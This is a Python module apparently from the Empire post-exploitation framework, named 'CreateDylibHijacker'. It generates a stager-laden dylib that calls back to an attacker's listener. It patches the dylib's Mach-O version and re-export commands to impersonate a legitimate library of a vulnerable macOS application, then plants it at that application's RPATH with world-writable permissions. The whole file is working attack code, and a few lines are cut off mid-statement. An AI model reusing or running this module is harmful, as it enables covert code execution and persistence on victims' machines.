import base64 class Module: def __init__(self, mainMenu, params=[]): # metadata info about the module, not modified during runtime self.info = { # name for the module that will appear in module menus 'Name': 'CreateDylibHijacker', # list of one or more authors for the module 'Author': ['@patrickwardle,@xorrior'], # more verbose multi-line description of the module 'Description': ('Configures and Empire dylib for use in a Dylib hijack, given the path to a legitimate dylib of a vulnerable application. The architecture of the dylib must match the target application. The configured dylib will be copied local to the hijackerPath'), # True if the module needs to run in the background 'Background' : False, # File extension to save the file as 'OutputExtension' : "", 'NeedsAdmin' : True, # True if the method doesn't touch disk/is reasonably opsec safe 'OpsecSafe' : False, # the module language 'Language' : 'python', # the minimum language version needed 'MinLanguageVersion' : '2.6', # list of any references/other comments 'Comments': [ 'comment', 'https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x' ] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { # The 'Agent' option is the only one that MUST be in a module 'Description' : 'Agent to execute module on.', 'Required' : True, 'Value' : '' }, 'Listener' : { 'Description' : 'Listener to use.', 'Required' : True, 'Value' : '' }, 'Arch' : { 'Description' : 'Arch: x86/x64', 'Required' : True, 'Value' : 'x86' }, 'SafeChecks' : { 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', 'Required' : True, 'Value' : 'True' }, 'UserAgent' : { 'Description' : 'User-agent string to use for the staging request (default, none, or other).', 'Required' : False, 'Value' : 'default' }, 'LegitimateDylibPath' : { 'Description' : 'Full path to the legitimate dylib of the vulnerable application', 'Required' : True, 'Value' : '' }, 'VulnerableRPATH' : { 'Description' : 'Full path to where the hijacker should be planted. This will be the RPATH in the Hijack Scanner module.', 'Required' : True, 'Value' : '' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu # During instantiation, any settable option parameters # are passed as an object set to the module and the # options dictionary is automatically set. This is mostly # in case options are passed on the command line if params: for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self, obfuscate=False, obfuscationCommand=""): # the Python script itself, with the command to invoke # for execution appended to the end. Scripts should output # everything to the pipeline for proper parsing. # # the script should be stripped of comments, with a link to any # original reference script included in the comments. listenerName = self.options['Listener']['Value'] userAgent = self.options['UserAgent']['Value'] safeChecks = self.options['SafeChecks']['Value'] arch = self.options['Arch']['Value'] launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks) launcher = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"") dylibBytes = self.mainMenu.stagers.generate_dylib(launcherCode=launcher, arch=arch, hijacker='true') encodedDylib = base64.b64encode(dylibBytes) dylib = self.options['LegitimateDylibPath']['Value'] vrpath = self.options['VulnerableRPATH']['Value'] script = """ from ctypes import * def run(attackerDYLIB): import ctypes import io import os import sys import fcntl import shutil import struct import stat LC_REQ_DYLD = 0x80000000 LC_LOAD_WEAK_DYLIB = LC_REQ_DYLD | 0x18 LC_RPATH = (0x1c | LC_REQ_DYLD) LC_REEXPORT_DYLIB = 0x1f | LC_REQ_DYLD ( LC_SEGMENT, LC_SYMTAB, LC_SYMSEG, LC_THREAD, LC_UNIXTHREAD, LC_LOADFVMLIB, LC_IDFVMLIB, LC_IDENT, LC_FVMFILE, LC_PREPAGE, LC_DYSYMTAB, LC_LOAD_DYLIB, LC_ID_DYLIB, LC_LOAD_DYLINKER, LC_ID_DYLINKER, LC_PREBOUND_DYLIB, LC_ROUTINES, LC_SUB_FRAMEWORK, LC_SUB_UMBRELLA, LC_SUB_CLIENT, LC_SUB_LIBRARY, LC_TWOLEVEL_HINTS, LC_PREBIND_CKSUM ) = range(0x1, 0x18) MH_MAGIC = 0xfeedface MH_CIGAM = 0xcefaedfe MH_MAGIC_64 = 0xfeedfacf MH_CIGAM_64 = 0xcffaedfe _CPU_ARCH_ABI64 = 0x01000000 CPU_TYPE_NAMES = { -1: 'ANY', 1: 'VAX', 6: 'MC680x0', 7: 'i386', _CPU_ARCH_ABI64 | 7: 'x86_64', 8: 'MIPS', 10: 'MC98000', 11: 'HPPA', 12: 'ARM', 13: 'MC88000', 14: 'SPARC', 15: 'i860', 16: 'Alpha', 18: 'PowerPC', _CPU_ARCH_ABI64 | 18: 'PowerPC64', } #structs that we need class mach_header(ctypes.Structure): _fields_ = [ ("magic", ctypes.c_uint), ("cputype", ctypes.c_uint), ("cpusubtype", ctypes.c_uint), ("filetype", ctypes.c_uint), ("ncmds", ctypes.c_uint), ("sizeofcmds", ctypes.c_uint), ("flags", ctypes.c_uint) ] class mach_header_64(ctypes.Structure): _fields_ = mach_header._fields_ + [('reserved',ctypes.c_uint)] class load_command(ctypes.Structure): _fields_ = [ ("cmd", ctypes.c_uint), ("cmdsize", ctypes.c_uint) ] LC_HEADER_SIZE = 0x8 def checkPrereqs(attackerDYLIB, targetDYLIB): if not os.path.exists(attackerDYLIB): print 'ERROR: dylib \\'%%s\\' not found' %% (attackerDYLIB) return False if not os.path.exists(targetDYLIB): print 'ERROR: dylib \\'%%s\\' not found' %% (targetDYLIB) return False attacker = open(attackerDYLIB) target = open(targetDYLIB) attackerHeader = mach_header.from_buffer_copy(attacker.read(28)) targetHeader = mach_header.from_buffer_copy(target.read(28)) if attackerHeader.cputype != targetHeader.cputype: print 'ERROR: Architecture mismatch' attacker.close() target.close() return False return True def findLoadCommand(fileHandle, targetLoadCommand): MACHHEADERSZ64 = 32 MACHHEADERSZ = 28 matchedOffsets = [] #wrap try: header = mach_header.from_buffer_copy(fileHandle.read(MACHHEADERSZ)) if header.magic == MH_MAGIC_64: fileHandle.seek(0, io.SEEK_SET) header = mach_header_64.from_buffer_copy(fileHandle.read(MACHHEADERSZ64)) ncmds = header.ncmds # Get to the load commands current = fileHandle.tell() #save offset to load command for cmd in range(ncmds): offset = current lc = load_command.from_buffer_copy(fileHandle.read(LC_HEADER_SIZE)) size = lc.cmdsize if lc.cmd == targetLoadCommand: matchedOffsets.append(offset) fileHandle.seek(size - LC_HEADER_SIZE, io.SEEK_CUR) current = fileHandle.tell() #exceptions except Exception, e: #err msg print 'EXCEPTION (finding load commands): %%s' %% e #reset matchedOffsets = None return matchedOffsets #configure version info # 1) find/extract version info from target .dylib # 2) find/update version info from hijacker .dylib to match target .dylib def configureVersions(attackerDYLIB, targetDYLIB): #wrap try: #dbg msg print ' [+] parsing \\'%%s\\' to extract version info' %% (os.path.split(targetDYLIB)[1]) #open target .dylib fileHandle = open(targetDYLIB, 'rb') #find LC_ID_DYLIB load command # ->and check versionOffsets = findLoadCommand(fileHandle, LC_ID_DYLIB) if not versionOffsets or not len(versionOffsets): #err msg print 'ERROR: failed to find \\'LC_ID_DYLIB\\' load command in %%s' %% (os.path.split(targetDYLIB)[1]) #bail return False #dbg msg print ' found \\'LC_ID_DYLIB\\' load command at offset(s): %%s' %% (versionOffsets) #seek to offset of LC_ID_DYLIB fileHandle.seek(versionOffsets[0], io.SEEK_SET) #seek to skip over LC header and timestamp fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR) ''' struct dylib { union lc_str name; uint_32 timestamp; uint_32 current_version; uint_32 compatibility_version; }; ''' #extract current version currentVersion = fileHandle.read(4) #extract compatibility version compatibilityVersion = fileHandle.read(4) #dbg msg(s) print ' extracted current version: 0x%%x' %% (struct.unpack('and check versionOffsets = findLoadCommand(fileHandle, LC_ID_DYLIB) if not versionOffsets or not len(versionOffsets): #err msg print 'ERROR: failed to find \\'LC_ID_DYLIB\\' load command in %%s' %% (os.path.split(attackerDYLIB)[1]) #bail return False #dbg msg(s) print ' found \\'LC_ID_DYLIB\\' load command at offset(s): %%s' %% (versionOffsets) print ' [+] updating version info in %%s to match %%s' %% ((os.path.split(attackerDYLIB)[1]), (os.path.split(targetDYLIB)[1])) #update version info for versionOffset in versionOffsets: #seek to offset of LC_ID_DYLIB fileHandle.seek(versionOffset, io.SEEK_SET) #seek to skip over LC header and timestamp fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR) #dbg msg print 'setting version info at offset %%s' %% (versionOffset) #set current version fileHandle.write(currentVersion) #set compatability version fileHandle.write(compatibilityVersion) #close fileHandle.close() except Exception, e: #err msg print 'EXCEPTION (configuring version info): %%s' %% e return True #configure re-export # ->update hijacker .dylib to re-export everything to target .dylib def configureReExport(attackerDYLIB, targetDYLIB): #wrap try: #dbg msg print ' [+] parsing \\'%%s\\' to extract faux re-export info' %% (os.path.split(attackerDYLIB)[1]) #open attacker's .dylib fileHandle = open(attackerDYLIB, 'rb+') #find LC_REEXPORT_DYLIB load command # ->and check reExportOffsets = findLoadCommand(fileHandle, LC_REEXPORT_DYLIB) if not reExportOffsets or not len(reExportOffsets): #err msg print 'ERROR: failed to find \\'LC_REEXPORT_DYLIB\\' load command in %%s' %% (os.path.split(attackerDYLIB)[1]) #bail return False #dbg msg print ' found \\'LC_REEXPORT_DYLIB\\' load command at offset(s): %%s' %% (reExportOffsets) ''' struct dylib { union lc_str name; uint_32 timestamp; uint_32 current_version; uint_32 compatibility_version; }; ''' #update re-export info #TODO: does the current and compat version need to match? we can easily set it for reExportOffset in reExportOffsets: #seek to offset of LC_REEXPORT_DYLIB fileHandle.seek(reExportOffset, io.SEEK_SET) #seek to skip over command fileHandle.seek(0x4, io.SEEK_CUR) #read in size of load command commandSize = struct.unpack('update attacker's .dylib to match target .dylib's version info if not configureVersions(attackerDYLIB, targetDYLIB): #err msg print 'ERROR: failed to configure version info' #bail return False #configure re-export # ->update attacker's .dylib to re-export everything to target .dylib if not configureReExport(attackerDYLIB, targetDYLIB): #err msg print 'ERROR: failed to configure re-export' #bail return False return True #target .dylib targetDYLIB = "%s" vrpath = "%s" #configured .dylib configuredDYLIB = "" #init output path for configured .dylib configuredDYLIB = os.path.split(attackerDYLIB)[0]+'/' + os.path.split(targetDYLIB)[1] #dbg msg print ' [+] configuring %%s to hijack %%s' %% (os.path.split(attackerDYLIB)[1], os.path.split(targetDYLIB)[1]) #check prereqs # ->i.e. sanity checks if not checkPrereqs(attackerDYLIB, targetDYLIB): #err msg print 'ERROR: prerequisite check failed\\n' #bail return "" #configure the provide .dylib if not configure(attackerDYLIB, targetDYLIB): #err msg print 'ERROR: failed to configure %%s\\n' %% (os.path.split(targetDYLIB)[1]) #bail return "" #dbg msg print ' [+] copying configured .dylib to %%s' %% (configuredDYLIB) #make a (local) copy w/ name shutil.copy2(attackerDYLIB, configuredDYLIB) os.remove(attackerDYLIB) if not os.path.exists(os.path.split(vrpath)[0]): os.makedirs(os.path.split(vrpath)[0]) os.chmod(configuredDYLIB, 0777) shutil.copy2(configuredDYLIB, vrpath) os.remove(configuredDYLIB) #dbg msg print '\\nHijacker created, renamed to %%s, and copied to %%s' %% (configuredDYLIB,vrpath) import base64 import uuid encbytes = "%s" filename = str(uuid.uuid4()) path = "/tmp/" + filename + ".dylib" decodedDylib = base64.b64decode(encbytes) temp = open(path,'wb') temp.write(decodedDylib) temp.close() run(path) """ % (dylib,vrpath,encodedDylib) return script